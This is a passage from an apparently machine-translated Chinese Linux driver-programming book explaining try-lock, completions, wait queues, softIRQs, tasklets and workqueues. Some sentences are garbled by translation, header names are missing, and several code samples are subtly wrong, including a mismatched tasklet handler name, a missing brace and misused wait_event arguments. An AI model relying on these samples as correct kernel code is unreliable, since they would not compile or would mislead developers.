permitted - * - a mutex object must be initialized via the API - * - a mutex object must not be initialized via memset or      copying - * - task may not exit with mutex held - * - memory areas where held locks reside must not be freed - * - held mutexes must not be reinitialized - * - mutexes may not be used in hardware or software interrupt - *   contexts such as tasklets and timers -``` - -可以在同一文件中找到完整版。 - -现在,让我们看看一些情况,在这些情况下,我们可以避免在互斥体处于休眠状态时将其置于休眠状态。 这称为 try-lock 方法。 - -## try-lock 方法 - -在某些情况下,如果锁还没有被其他地方持有,我们可能需要获取锁。 这些方法试图获取锁,并立即返回一个状态值(如果我们使用的是自旋锁,则不会旋转;如果我们使用的是互斥锁,则不会休眠)。 这将告诉我们锁是否已成功锁定。 当其他线程持有锁时,如果我们不需要访问受锁保护的数据,则可以使用它们。 - -Spinlock 和 mutex API 都提供了 try-lock 方法。 它们分别称为`spin_trylock()`和`mutex_trylock()`。 两种方法都在失败时返回 0(锁已锁定),在成功时返回 1(获取锁)。 因此,将这些函数与一条语句一起使用是有意义的: - -```sh -int mutex_trylock(struct mutex *lock) -``` - -`spin_trylock()`实际上是针对自旋锁的。 如果尚未以与`spin_lock()`方法相同的方式锁定自旋锁定,则它将锁定自旋锁定。 但是,如果自旋锁已锁定,它会立即返回`0`,而不会旋转: - -```sh -static DEFINE_SPINLOCK(foo_lock); -[...] -static void foo(void) -{ -[...] -    if (!spin_trylock(&foo_lock)) {        /* Failure! the spinlock is already locked */        [...]        return;    } -    /*     * reaching this part of the code means        that the      * spinlock has been successfully locked      */ -[...] -    spin_unlock(&foo_lock); -[...] -} -``` - -另一方面,`mutex_trylock()`以互斥锁为目标。 如果互斥体尚未以与`mutex_lock()`方法相同的方式锁定,它将锁定该互斥体。 但是,如果互斥锁已经锁定,它会立即返回`0`,而不会休眠。 下面是一个这样的示例: - -```sh -static DEFINE_MUTEX(bar_mutex);[...] -static void bar (void){ -[...]    if (!mutex_trylock(&bar_mutex))        /* Failure! the mutex is already locked */        [...]        return;    } -    /*     * reaching this part of the code means that the mutex has      * been successfully locked      */ -[...]    mutex_unlock(&bar_mutex);[...] -} -``` - -在前面的代码中,try-lock 与`if`语句一起使用,以便驱动可以调整其行为。 - -## Linux 内核中的等待、感测和阻塞 - -本节可以命名为*内核休眠机制*,因为我们将要处理的机制涉及将涉及的进程休眠。 设备驱动在其生命周期中可以启动完全独立的任务,其中一些任务依赖于其他任务的完成。 Linux 内核使用`struct completion`项解决了这种依赖关系。 另一方面,可能需要等待特定条件变为真或对象的状态改变。 这一次,内核提供了工作队列来解决这种情况。 - -### 等待完成或状态更改 - -您可能不一定只等待资源,而是等待给定对象(共享或非共享)的状态更改或任务完成。 在内核编程实践中,通常会在当前线程之外启动一个活动,然后等待该活动完成。 例如,当您等待使用缓冲区时,补全是`sleep()`的一个很好的替代方案。 它适合于感测数据,就像 DMA 传输一样。 处理完成需要包括``标头。 其结构如下: - -```sh -struct completion { -    unsigned int done; -    wait_queue_head_t wait; -}; -``` - -可以使用静态`DECLARE_COMPLETION(my_comp)`函数静态创建结构完成结构的实例,也可以通过将完成结构包装到动态(在堆上分配的,在函数/驱动的生命周期内有效)数据结构并调用`init_completion(&dynamic_object->my_comp)`来动态创建结构完成结构的实例。 当设备驱动执行某些工作(例如,DMA 事务)而其他工作(例如,线程)需要被通知其完成时,等待程序必须调用先前初始化的结构完成对象上的`wait_for_completion()`才能得到通知: - -```sh -void wait_for_completion(struct completion *comp); -``` - -当代码的另一部分确定工作已经完成(对于 DMA,事务已经完成)时,它可以通过调用`complete()`或`complete_all()`来唤醒正在等待的任何人(需要访问 DMA 缓冲区的代码),`complete()`只会唤醒一个等待进程,或者`complete_all()`会唤醒所有等待完成的进程: - -```sh -void complete(struct completion *comp); -void complete_all(struct completion *comp); -``` - -一个典型的使用场景如下(此摘录摘自内核文档): - -```sh -CPU#1 CPU#2 -struct completion setup_done; -init_completion(&setup_done); -initialize_work(...,&setup_done,...); -/* run non-dependent code */ /* do some setup */ -[...] [...] -wait_for_completion(&setup_done); complete(setup_done); -``` - -调用`wait_for_completion()`和`complete()`的顺序并不重要。 作为信号量,Completions API 的设计使它们能够正常工作,即使在`wait_for_completion()`之前调用`complete()`也是如此。 在这种情况下,一旦所有依赖项都得到满足,服务员就会立即继续。 - -请注意,`wait_for_completion()`将调用`spin_lock_irq()`和`spin_unlock_irq()`,根据*自旋锁*部分,建议不要在中断处理程序内或禁用 IRQ 的情况下使用。 这是因为它会导致启用很难检测到的虚假中断。 此外,默认情况下,`wait_for_completion()`将任务标记为不可中断(`TASK_UNINTERRUPTIBLE`),使其不响应任何外部信号(甚至取消)。 这可能会阻塞很长一段时间,这取决于它正在等待的活动的性质。 - -您可能需要在不可中断状态下不执行*等待*,或者至少您可能需要*等待*能够被任何信号或仅由杀死进程的信号中断。 内核提供以下接口: - -* `wait_for_completion_interruptible()` -* `wait_for_completion_interruptible_timeout()` -* `wait_for_completion_killable()` -* `wait_for_completion_killable_timeout()` - -`_killable`变体将任务标记为`TASK_KILLABLE`,从而使其仅对实际杀死它的信号作出响应,而`_interruptible`变体将任务标记为`TASK_INTERRUPTIBLE`,允许它被任何信号中断。 `_timeout`变体最多等待指定的超时: - -```sh -int wait_for_completion_interruptible(struct completion *done) -long wait_for_completion_interruptible_timeout( -           struct completion *done, unsigned long timeout) -long wait_for_completion_killable(struct completion *done) -long wait_for_completion_killable_timeout(           struct completion *done, unsigned long timeout) -``` - -由于`wait_for_completion*()`可能处于休眠状态,因此它只能在此进程上下文中使用。 因为`interruptible`、`killable`或`timeout`变量可能在底层作业运行到完成之前返回,所以应该仔细检查它们的返回值,以便您可以采用正确的行为。 可终止和可中断变体如果被中断则返回`-ERESTARTSYS`,如果已完成则返回`0`。 另一方面,如果超时变量被中断,则返回`-ERESTARTSYS`;如果超时,则返回`0`;如果在超时之前完成,则返回到超时之前剩下的 Jiffie 数(至少 1 个)。 请参考内核源代码中的`kernel/sched/completion.c`,了解更多关于这一点的信息,以及本书中不会涉及的更多函数。 - -另一方面,`complete()`和`complete_all()`从不休眠,内部调用`spin_lock_irqsave()`/`spin_unlock_irqrestore()`,使得 IRQ 上下文中的完成信号完全安全。 - -### Linux 内核等待队列 - -等待队列是高级机制,用于处理块 I/O、等待特定条件为真、等待给定事件发生或检测数据或资源可用性。 为了理解它们是如何工作的,让我们来看看`include/linux/wait.h`中的结构: - -```sh -struct wait_queue_head { -    spinlock_t lock; -    struct list_head head; -}; -``` - -`wait queue`只不过是一个列表(其中的进程处于休眠状态,以便在满足某些条件时可以唤醒它们),其中有一个自旋锁来保护对该列表的访问。 当多个进程想要休眠,并且您正在等待一个或多个事件发生以便将其唤醒时,可以使用`wait queue`。 头成员是等待事件的进程列表。 每个想要在等待事件发生时休眠的进程在进入休眠之前都会将自己放在这个列表中。 当一个进程在列表中时,它被称为`wait queue entry`。 当事件发生时,列表上的一个或多个进程被唤醒并移出列表。 我们可以通过两种方式声明和初始化 a`wait queue`。 首先,我们可以使用`DECLARE_WAIT_QUEUE_HEAD`静态声明和初始化它,如下所示: - -```sh -DECLARE_WAIT_QUEUE_HEAD(my_event); -``` - -我们还可以使用`init_waitqueue_head()`动态执行此操作: - -```sh -wait_queue_head_t my_event; -init_waitqueue_head(&my_event); -``` - -任何想要在等待`my_event`发生时休眠的进程都可以调用`wait_event_interruptible()`或`wait_event()`。 大多数情况下,事件只是资源变得可用的事实。 因此,只有在检查了该资源的可用性之后,进程才能进入休眠状态。 为方便起见,这两个函数都使用一个表达式代替第二个参数,以便只有在表达式的计算结果为 False 时才会使进程进入休眠状态: - -```sh -wait_event(&my_event, (event_occurred == 1) ); -/* or */ -wait_event_interruptible(&my_event, (event_occurred == 1) ); -``` - -`wait_event()`和`wait_event_interruptible()`只需在调用时计算条件。 如果条件为假,进程将进入`TASK_UNINTERRUPTIBLE`或`TASK_INTERRUPTIBLE`(对于`_interruptible`变体)状态,并从运行队列中删除。 - -可能在某些情况下,您不仅需要条件为真,而且需要在等待一定时间后超时。 您可以使用`wait_event_timeout()`来处理此类情况,其原型如下: - -```sh -wait_event_timeout(wq_head, condition, timeout) -``` - -此函数有两种行为,具体取决于是否已超时: - -1. `timeout`已过:如果条件的计算结果为 FALSE,则函数返回 0;如果条件的计算结果为 TRUE,则返回 1。 -2. `timeout`尚未过去:如果条件的计算结果为真,则函数返回剩余时间(以 jiffies 表示-必须至少为 1)。 - -超时的时间单位是`jiffies`。 因此,您不必费心将秒转换为`jiffies`,您应该使用`msecs_to_jiffies()`和`usecs_to_jiffies()`帮助器,它们分别将毫秒或微秒转换为 jiffie: - -```sh -unsigned long msecs_to_jiffies(const unsigned int m) -unsigned long usecs_to_jiffies(const unsigned int u) -``` - -在对任何可能破坏等待条件结果的变量进行更改后,必须调用适当的`wake_up*`族函数。 也就是说,为了唤醒在等待队列上休眠的进程,您应该调用`wake_up()`、`wake_up_all()`、`wake_up_interruptible()`或`wake_up_interruptible_all()`。 无论何时调用这些函数中的任何一个,都会重新计算条件。 如果此时条件为真,则唤醒`wait queue`中的一个进程(或`_all()`变体的所有进程),并将其状态设置为`TASK_RUNNING`;否则(条件为假),不会发生任何事情: - -```sh -/* wakes up only one process from the wait queue. */ -wake_up(&my_event); -/* wakes up all the processes on the wait queue. */ -wake_up_all(&my_event);: -/* wakes up only one process from the wait queue that is in * interruptible sleep. - */ -wake_up_interruptible(&my_event) -/* wakes up all the processes from the wait queue that - * are in interruptible sleep. - */ -wake_up_interruptible_all(&my_event); -``` - -因为它们可以被信号中断,所以您应该检查`_interruptible`变量的返回值。 非零值表示您的睡眠已被某种信号中断,因此驱动应返回`ERESTARTSYS`: - -```sh -#include #include #include #include #include #include -static DECLARE_WAIT_QUEUE_HEAD(my_wq);static int condition = 0; -/* declare a work queue*/static struct work_struct wrk; -static void work_handler(struct work_struct *work) -{ -    pr_info(“Waitqueue module handler %s\n”, __FUNCTION__); -    msleep(5000); -    pr_info(“Wake up the sleeping module\n”); -    condition = 1; -    wake_up_interruptible(&my_wq); -} -static int __init my_init(void) -{ -    pr_info(“Wait queue example\n”); -    INIT_WORK(&wrk, work_handler); -    schedule_work(&wrk); -    pr_info(“Going to sleep %s\n”, __FUNCTION__); -    wait_event_interruptible(my_wq, condition != 0); -    pr_info(“woken up by the work job\n”); -    return 0;} -void my_exit(void) -{ -    pr_info(“waitqueue example cleanup\n”); -} -module_init(my_init);module_exit(my_exit);MODULE_AUTHOR(“John Madieu ”);MODULE_LICENSE(“GPL”); -``` - -在前面的示例中,当前进程(实际上是`insmod`)将在等待队列中休眠 5 秒,并由工作处理程序唤醒。 `dmesg`的输出如下: - -```sh -[342081.385491] Wait queue example -[342081.385505] Going to sleep my_init -[342081.385515] Waitqueue module handler work_handler -[342086.387017] Wake up the sleeping module -[342086.387096] woken up by the work job -[342092.912033] waitqueue example cleanup -``` - -您可能已经注意到,我没有检查`wait_event_interruptible()`的返回值。 有时(如果不是大多数情况下),这可能会导致严重的问题。 以下是一个真实的故事:我不得不干预一家公司来修复一个错误,在该错误中,杀死(或向其发送信号)用户空间任务会导致其内核模块导致系统崩溃(死机和重启-当然,系统被配置为在死机时重新启动)。 发生这种情况的原因是因为此用户进程中有一个线程在其内核模块公开的`char`设备上执行`ioctl()`。 这导致在给定标志上调用内核中的`wait_event_interruptible()`,这意味着有一些数据需要在内核中处理(不能使用`select()`系统调用)。 - -那么,他们的错误是什么呢? 发送给进程的信号在没有设置标志的情况下使`wait_event_interruptible()`返回(这意味着数据仍然不可用),其代码没有检查其返回值,也没有重新检查标志或对应该可用的数据执行健全性检查。 访问数据时,就好像设置了标志,实际上取消了对无效指针的引用。 - -解决方案本可以像使用以下代码一样简单: - -```sh -if (wait_event_interruptible(...)){ -    pr_info(“catching a signal supposed make us crashing\n”); -    /* handle this case and do not access data */ -    [….] -} else { -     /* accessing data and processing it */ -    […] -} -``` - -然而,由于某些原因(对他们的设计有历史意义),我们必须使其不可中断,这导致我们使用`wait_event()`。 但是,请注意,此函数会使进程进入独占等待(不可中断的休眠),这意味着它不会被信号中断。 它应该只用于关键任务。 在大多数情况下,建议使用可中断功能。 - -现在我们已经熟悉了内核锁定 API,我们将了解各种工作延迟机制,所有这些机制在编写 Linux 设备驱动时都会大量使用。 - -# 工作延时机构 - -工作延迟是 Linux 内核提供的一种机制。 它允许您将工作/任务推迟到系统的工作负荷允许其平稳运行或在给定时间过去之后。 根据工作类型的不同,延迟任务可以在流程上下文中运行,也可以在原子上下文中运行。 为了弥补中断处理程序的一些限制,通常使用工作延迟来补充中断处理程序,其中一些限制如下: - -* 中断处理程序必须尽可能快,这意味着在处理程序中只应执行关键任务,以便稍后系统不忙时可以推迟其余任务。 -* 在中断上下文中,我们不能使用阻塞调用。 休眠任务应该在流程上下文中调度。 - -延迟工作机制允许我们在中断处理程序中执行尽可能少的工作(所谓的*上半部分*,它在中断上下文中运行),并从中断处理程序调度异步操作(所谓的*下半部分*,它可能-但不总是-在用户上下文中运行),以便它可以在稍后运行并执行其余操作。 如今,下半部分的概念大多被同化为在流程上下文中运行的延迟工作,因为调度可能休眠的工作是很常见的(不像在中断上下文中运行的少数工作,这是不可能发生的)。 Linux 现在有三种不同的实现:**softIRQs**、**微线程**和**工作队列**。 让我们来看看这些: - -* **SoftIRQ**:它们在原子上下文中执行。 -* **Tasklet**:这些也是在原子上下文中执行的。 -* **工作队列**:这些队列在进程上下文中运行。 - -在接下来的几节中,我们将详细了解它们中的每一个。 - -## 软 IRQ - -顾名思义,**softIRQ**代表**软件中断**。 这样的处理程序可以抢占系统上除硬件 IRQ 处理程序之外的所有其他任务,因为它们是在启用 IRQ 的情况下执行的。 SoftIRQ 旨在用于高频线程化作业调度。 网络和块设备是内核中仅有的两个直接使用软 IRQ 的子系统。 即使 softIRQ 处理程序在启用中断的情况下运行,它们也无法休眠,并且任何共享数据都需要适当的锁定。 在内核源码树中,softIRQ API 被定义为`kernel/softirq.c`,任何希望使用该 API 的驱动都需要包含``。 - -请注意,您不能动态注册或销毁 softIRQ。 它们是在编译时静态分配的。 此外,softIRQ 的使用仅限于静态编译的内核代码;它们不能用于动态加载的模块。 SoftIRQ 由``中定义的`struct softirq_action`结构表示,如下所示: - -```sh -struct softirq_action { -    void (*action)(struct softirq_action *); -}; -``` - -此结构嵌入一个指针,指向在引发`softirq`操作时要运行的函数。 因此,您的 softIRQ 处理程序的原型应该如下所示: - -```sh -void softirq_handler(struct softirq_action *h) -``` - -运行 softIRQ 处理程序会导致执行此操作函数。 它只有一个参数:指向相应`softirq_action`结构的指针。 您可以在运行时通过`open_softirq()`函数注册 softIRQ 处理程序: - -```sh -void open_softirq(int nr, -                   void (*action)(struct softirq_action *)) -``` - -`nr`表示 softIRQ 的索引,也被视为 softIRQ 的优先级(其中`0`是最高的)。 `action`是指向 softIRQ 处理程序的指针。 以下`enum`中列举了所有可能的索引: - -```sh -enum -{ -    HI_SOFTIRQ=0,   /* High-priority tasklets */    TIMER_SOFTIRQ,  /* Timers */    NET_TX_SOFTIRQ, /* Send network packets */    NET_RX_SOFTIRQ, /* Receive network packets */    BLOCK_SOFTIRQ,  /* Block devices */    BLOCK_IOPOLL_SOFTIRQ, /* Block devices with I/O polling                            blocked on other CPUs */    TASKLET_SOFTIRQ, /* Normal Priority tasklets */    SCHED_SOFTIRQ,   /* Scheduler */    HRTIMER_SOFTIRQ, /* High-resolution timers */    RCU_SOFTIRQ,     /* RCU locking */    NR_SOFTIRQS      /* This only represent the number or                       * softirqs type, 10 actually                       */ -}; -``` - -具有较低索引(最高优先级)的软 IRQ 在具有较高索引(最低优先级)的软 IRQ 之前运行。 以下数组中列出了内核中所有可用软 IRQ 的名称: - -```sh -const char * const softirq_to_name[NR_SOFTIRQS] = { -    “HI”, “TIMER”, “NET_TX”, “NET_RX”, “BLOCK”, “BLOCK_IOPOLL”, -        “TASKLET”, “SCHED”, “HRTIMER”, “RCU” -}; -``` - -检查`/proc/softirqs`虚拟文件的输出很容易,如下所示: - -```sh -~$ cat /proc/softirqs -                    CPU0       CPU1       CPU2       CPU3        -          HI:      14026         89        491        104 -       TIMER:     862910     817640     816676     808172 -      NET_TX:          0          2          1          3 -      NET_RX:       1249        860        939       1184 -       BLOCK:        130        100        138        145 -    IRQ_POLL:          0          0          0          0 -     TASKLET:      55947         23        108        188 -       SCHED:    1192596     967411     882492     835607 -     HRTIMER:          0          0          0          0 -         RCU:     314100     302251     304380     298610 -~$ -``` - -在`kernel/softirq.c`中声明了`struct softirq_action`的`NR_SOFTIRQS`条目数组: - -```sh -static struct softirq_action softirq_vec[NR_SOFTIRQS] ; -``` - -此数组中的每个条目可以包含且仅包含一个 softIRQ。 因此,注册的软 IRQ 最多可以有`NR_SOFTIRQS`(v4.19 中的 10,这是撰写本文时的最后一个版本): - -```sh -void open_softirq(int nr, -                   void (*action)(struct softirq_action *)) -{ -    softirq_vec[nr].action = action; -} -``` - -这方面的一个具体示例是网络子系统,它按如下方式注册所需的软 IRQ(在`net/core/dev.c`中): - -```sh -open_softirq(NET_TX_SOFTIRQ, net_tx_action); -open_softirq(NET_RX_SOFTIRQ, net_rx_action); -``` - -在注册的 softIRQ 获得运行机会之前,它应该被激活/调度。 为此,您必须调用`raise_softirq()`或`raise_softirq_irqoff()`(如果中断已经关闭): - -```sh -void __raise_softirq_irqoff(unsigned int nr) -void raise_softirq_irqoff(unsigned int nr) -void raise_softirq(unsigned int nr) -``` - -第一个函数只需设置每个 CPUsoftIRQ 位图中的适当位(`struct irq_cpustat_t`数据结构中的`__softirq_pending`字段,在`kernel/softirq.c`中分配给每个 CPU),如下所示: - -```sh -irq_cpustat_t irq_stat[NR_CPUS] ____cacheline_aligned; -EXPORT_SYMBOL(irq_stat); -``` - -这允许它在选中该标志时运行。 此处描述的此函数仅用于研究目的,不应直接使用。 - -`raise_softirq_irqoff`需要在禁用中断的情况下调用。 首先,如前所述,它在内部调用`__raise_softirq_irqoff()`来激活 softIRQ。 然后,它通过`in_interrupt()`宏(只返回`current_thread_info( )->preempt_count`的值,其中 0 表示启用抢占)检查是否从中断(硬或软)上下文中调用了它。 这表明我们不在中断上下文中。 大于 0 的值表示我们处于中断上下文中)。 如果为`in_interrupt() > 0`,则不会执行任何操作,因为我们处于中断上下文中。 这是因为在任何 I/O IRQ 处理程序(ARM 的`asm_do_IRQ()`或 x86 平台的`do_IRQ()`,它调用`irq_exit()`)的退出路径上检查 softIRQ 标志。 这里,软 IRQ 在中断上下文中运行。 但是,如果`in_interrupt() == 0`,则调用`wakeup_softirqd()`。 这负责唤醒本地 CPU`ksoftirqd`线程(它对其进行调度),以确保 softIRQ 很快运行,但这次是在进程上下文中运行。 - -`raise_softirq`首先调用`local_irq_save()`(在保存其当前中断标志后禁用本地处理器上的中断)。 然后调用`raise_softirq_irqoff()`,如前所述,在本地 CPU 上调度 softIRQ(请记住,必须在本地 CPU 上禁用 IRQ 的情况下调用此函数)。 最后,它调用`local_irq_restore()`来恢复先前保存的中断标志。 - -关于软 IRQ,有几点需要记住: - -* 软 IRQ 永远不能抢占另一个软 IRQ。 只有硬件中断才能。 在禁用调度程序抢占的情况下以高优先级执行软 IRQ,但在启用 IRQ 的情况下执行软 IRQ。 这使得软 IRQ 适用于系统上最关键的时间和最重要的延迟处理。 -* 当处理程序在 CPU 上运行时,此 CPU 上的其他软 IRQ 将被禁用。 但是,SoftIRQ 可以同时运行。 当 softIRQ 运行时,另一个 softIRQ(甚至是同一个 softIRQ)可以在另一个处理器上运行。 这是软 IRQ 相对于硬 IRQ 的主要优势之一,也是它们用于可能需要高 CPU 功率的联网子系统的原因。 -* 对于软 IRQ 之间的锁定(甚至是在不同 CPU 上运行的同一个 softIRQ),您应该使用`spin_lock()`和`spin_unlock()`。 -* SoftIRQs are mostly scheduled in the return paths of hardware interrupt handlers. **SoftIRQs that are scheduled outside of the interrupt context will run in a process context if they are still pending when the local** `ksoftirqd` **thread is given the CPU**. Their execution may be triggered in the following cases: - - --通过本地每 CPU 定时器中断(仅在启用了`CONFIG_SMP`的 SMP 系统上)。 有关更多信息,请参见`timer_tick()`、`update_process_times()`和`run_local_timers()`。 - - --通过调用`local_bh_enable()`函数(主要由网络子系统调用以处理分组接收/发送软 IRQ)。 - - --在任何 I/O IRQ 处理程序的退出路径上(参见`do_IRQ`,它调用`irq_exit()`,然后调用`invoke_softirq()`)。 - - --当本地`ksoftirqd`被赋予 CPU 时(即,它已经被唤醒)。 - -负责遍历并运行 softIRQ 的挂起位图的实际内核函数是`__do_softirq()`,它在`kernel/softirq.c`中定义。 此函数总是在本地 CPU 上禁用中断的情况下调用。 它执行以下任务: - -1. 调用后,该函数将当前每个 CPU 挂起的 softIRQ 的位图保存在一个所谓的挂起变量中,并通过`__local_bh_disable_ip`在本地禁用 softIRQ。 -2. 然后,它重置当前每个 CPU 的挂起位掩码(已保存),然后重新启用中断(软 IRQ 在启用中断的情况下运行)。 -3. 之后,它进入`while`循环,检查保存的位图中是否有挂起的软 IRQ。 如果没有挂起的 softIRQ,则不会发生任何事情。 否则,它将执行每个挂起的软 IRQ 的处理程序,并注意增加它们的执行统计信息。 -4. 执行完所有挂起处理程序后(我们在`while`循环之外),`__do_softirq()`再次读取每个 CPU 的挂起位掩码(禁用 IRQ 并将其保存到同一挂起变量中所需),以检查在`while`循环中是否安排了任何 softIRQ。 如果有任何挂起的软 IRQ,整个过程将重新启动(基于`goto`循环),从*步骤 2*开始。 例如,这有助于处理已重新安排自己的软 IRQ。 - -但是,如果出现以下情况之一,`__do_softirq()`将不会重复: - -* 它已经重复了最多`MAX_SOFTIRQ_RESTART`次,在`kernel/softirq.c`中设置为`10`。 这实际上是软 IRQ 处理循环的限制,而不是前面描述的`while`循环的上限。 -* 它占用 CPU 的时间超过了`MAX_SOFTIRQ_TIME`,后者在`kernel/softirq.c`中设置为 2 毫秒(`msecs_to_jiffies(2)`),因为这会阻止启用调度程序。 - -如果发生这两种情况之一,`__do_softirq()`将中断其循环并调用`wakeup_softirqd()`来唤醒本地`ksoftirqd`线程,该线程稍后将在进程上下文中执行挂起的 softIRQ。 由于内核中的许多点都调用了`do_softirq`,因此很可能在`ksoftirqd`有机会运行之前,对`__do_softirqs`的另一个调用将处理挂起的 softIRQ。 - -注意,softIRQ 并不总是在原子上下文中运行,但在这个情况下,这是非常具体的。 下一节解释如何以及为什么可以在流程上下文中执行软 IRQ。 - -### 一句关于 ksoftirqd 的话 - -`ksoftirqd`是为处理未服务的软件中断而引发的每个 CPU 内核线程。 它是在内核引导过程的早期产生的,如`kernel/softirq.c`中所述: - -```sh -static __init int spawn_ksoftirqd(void) -{ -  cpuhp_setup_state_nocalls(CPUHP_SOFTIRQ_DEAD,                             “softirq:dead”, NULL, -                            takeover_tasklets); -    BUG_ON(smpboot_register_percpu_thread(&softirq_threads)); -    return 0; -} -early_initcall(spawn_ksoftirqd); -``` - -运行`top`命令后,您将能够看到一些`ksoftirqd/n`条目,其中*n*是运行`ksoftirqd`线程的 CPU 的逻辑 CPU 索引。 由于`ksoftirqds`在进程上下文中运行,它们等同于传统的进程/线程,因此它们对 CPU 的竞争要求也是如此。 `ksoftirqd`长时间占用 CPU 可能表示系统负载过重。 - -现在我们已经看完了 Linux 内核中的第一个工作延迟机制,我们将讨论微线程,它是 softIRQ 的替代方案(从原子上下文的角度来看),尽管前者是使用后者构建的。 - -## 微线程 - -Tasklet 是在`HI_SOFTIRQ`和`TASKLET_SOFTIRQ`softIRQ 之上构建的*下半部分*,与唯一的区别是基于`HI_SOFTIRQ`的微线程先于基于`TASKLET_SOFTIRQ`的微线程运行。 这仅仅意味着微线程是软 IRQ,所以它们遵循相同的规则。 *然而,与 softIRQ 不同的是,两个相同的微线程从不同时运行*。 微线程 API 非常基础和直观。 - -微线程由``中定义的`struct tasklet_struct`结构表示。 此结构的每个实例表示一个唯一的微线程: - -```sh -struct tasklet_struct { -    struct tasklet_struct *next; /* next tasklet in the list */ -    unsigned long state;         /* state of the tasklet, -                                  * TASKLET_STATE_SCHED or -                                  * TASKLET_STATE_RUN */ -    atomic_t count;              /* reference counter */ -    void (*func)(unsigned long); /* tasklet handler function */ -    unsigned long data; /* argument to the tasklet function */ -}; -``` - -`func`成员是将由底层 softIRQ 执行的微线程的处理程序。 它等同于软 IRQ 的`action`,具有相同的原型和相同的参数含义。 `data`将作为其唯一参数通过。 - -您可以使用`tasklet_init()`函数在 run-ime 时动态分配和初始化微线程。 对于静态方法,可以使用`DECLARE_TASKLET`宏。 您选择的选项将取决于您对微线程的直接或间接引用的需要(或要求)。 使用`tasklet_init()`需要将微线程结构嵌入到一个更大的动态分配的对象中。 默认情况下,可以调度已初始化的微线程-您可以说它已启用。 `DECLARE_TASKLET_DISABLED`是声明默认禁用的微线程的另一种选择,这将需要调用`tasklet_enable()`函数来使微线程成为可调度的。 微线程通过`tasklet_schedule()`和`tasklet_hi_schedule()`函数进行调度(类似于引发 softIRQ)。 您可以使用`tasklet_disable()`禁用微线程。 此函数禁用微线程,仅当微线程终止执行时才返回(假设正在运行)。 在此之后,仍可以调度该微线程,但在再次启用它之前,它不会在 CPU 上运行。 也可以使用称为`tasklet_disable_nosync()`的异步变量,即使没有发生终止也会立即返回。 此外,被禁用多次的微线程应该完全启用相同的次数(由于它的`count`字段,这是允许的): - -```sh -DECLARE_TASKLET(name, func, data) -DECLARE_TASKLET_DISABLED(name, func, data); -tasklet_init(t, tasklet_handler, dev); -void tasklet_enable(struct tasklet_struct*); -void tasklet_disable(struct tasklet_struct *); -void tasklet_schedule(struct tasklet_struct *t); -void tasklet_hi_schedule(struct tasklet_struct *t); -``` - -内核在两个不同的队列中维护普通优先级和高优先级微线程。 队列实际上是单链表,每个 CPU 都有自己的队列对(低优先级和高优先级)。 每个处理器都有自己的一对处理器。 `tasklet_schedule()`将微线程添加到正常优先级列表,从而使用`TASKLET_SOFTIRQ`标志调度相关的 softIRQ。 利用`tasklet_hi_schedule()`,微线程被添加到高优先级列表,从而利用`HI_SOFTIRQ`标志调度相关联的软 IRQ。 一旦调度了微线程,就设置了它的`TASKLET_STATE_SCHED`标志,并将该微线程添加到队列中。 在执行时,设置`TASKLET_STATE_RUN`标志并移除`TASKLET_STATE_SCHED`状态,从而允许微线程在其执行期间由微线程本身或从中断处理程序内重新调度。 - -高优先级微线程旨在用于具有低延迟要求的软中断处理程序。 在已调度但尚未开始执行的微线程上调用`tasklet_schedule()`将不会执行,从而导致该微线程只执行一次。 微线程可以重新调度自己,这意味着您可以安全地在微线程中调用`tasklet_schedule()`。 高优先级微线程总是在正常微线程之前执行,应谨慎使用;否则,可能会增加系统延迟。停止微线程就像调用`tasklet_kill()`一样简单,如果当前计划运行该微线程,则它将阻止该微线程再次运行或等待其完成,然后再终止它。 如果微线程重新调度自身,则应在调用此函数之前阻止微线程重新调度自身: - -```sh -void tasklet_kill(struct tasklet_struct *t); -``` - -也就是说,让我们看一下下面的微线程代码用法示例: - -```sh -#include #include #include /* for tasklets API */ -char tasklet_data[] =     “We use a string; but it could be pointer to a structure”; -/* Tasklet handler, that just prints the data */void tasklet_work(unsigned long data){    printk(“%s\n”, (char *)data);} -static DECLARE_TASKLET(my_tasklet, tasklet_function,                       (unsigned long) tasklet_data);static int __init my_init(void){    tasklet_schedule(&my_tasklet);    return 0;}void my_exit(void){    tasklet_kill(&my_tasklet); -}module_init(my_init);module_exit(my_exit);MODULE_AUTHOR(“John Madieu ”);MODULE_LICENSE(“GPL”); -``` - -在前面的代码中,我们静态声明了我们的`my_tasklet`微线程和在调度此微线程时应该调用的函数,以及将作为参数提供给此函数的数据。 - -重要音符 - -因为同一个微线程从不并发运行,所以不需要解决微线程和自身之间的锁定问题。 但是,在两个微线程之间共享的任何数据都应该使用`spin_lock()`和`spin_unlock()`进行保护。 请记住,微线程是在 softIRQ 之上实现的。 - -## 工作队列 - -在前面的部分中,我们讨论了微线程,它们是原子延迟机制。 除了原子机制之外,还有一些情况下我们可能想要在延迟任务中休眠。 工作队列允许这样做。 - -工作队列是一种跨内核广泛使用的异步工作延迟机制,允许内核在进程执行上下文中异步运行专用函数。 这使得它们适合于长时间运行、冗长的任务或需要睡眠的工作,从而改善了用户体验。 在工作队列子系统的核心,有两个数据结构可以解释此机制背后的概念: - -* The work to be deferred (that is, the work item) is represented in the kernel by instances of `struct work_struct`, which indicates the handler function to be run. Typically, this structure is the first element of a user’s structure of the work definition. If you need a delay before the work can be run after it has been submitted to the workqueue, the kernel provides `struct delayed_work` instead. A work item is a basic structure that holds a pointer to the function that is to be executed asynchronously. To summarize, we can enumerate two types of work item structures: - - --`struct work_struct`结构,它安排一个任务在以后运行(在系统允许的情况下尽快运行)。 - - --`struct delayed_work`结构,安排任务在至少给定的时间间隔后运行。 - -* 工作队列本身,由`struct workqueue_struct`表示。 这就是工作所在的结构。 它是一个工作项队列。 - -除了这些数据结构之外,您还应该熟悉两个通用术语: - -* **工作线程**,它们是一个接一个地执行队列外的功能的专用线程。 -* **工作池**是用于管理工作线程的工作线程(线程池)的集合。 - -使用工作队列的第一步包括为延迟变量创建一个工作项,由`struct work_struct`或`struct delayed_work`表示,在`linux/workqueue.h`中定义。 内核要么提供用于静态声明和初始化工作结构的`DECLARE_WORK`宏,要么提供用于动态声明和初始化工作结构的`INIT_WORK`宏。 如果需要延迟工时,可以使用`INIT_DELAYED_WORK`宏进行动态分配和初始化,或使用`DECLARE_DELAYED_WORK`进行静态选项: - -```sh -DECLARE_WORK(name, function) -DECLARE_DELAYED_WORK(name, function) -INIT_WORK(work, func); -INIT_DELAYED_WORK(work, func); -``` - -下面的代码显示了我们的工作项结构是什么样子: - -```sh -struct work_struct { -    atomic_long_t data; -    struct list_head entry; -    work_func_t func; -#ifdef CONFIG_LOCKDEP -    struct lockdep_map lockdep_map; -#endif 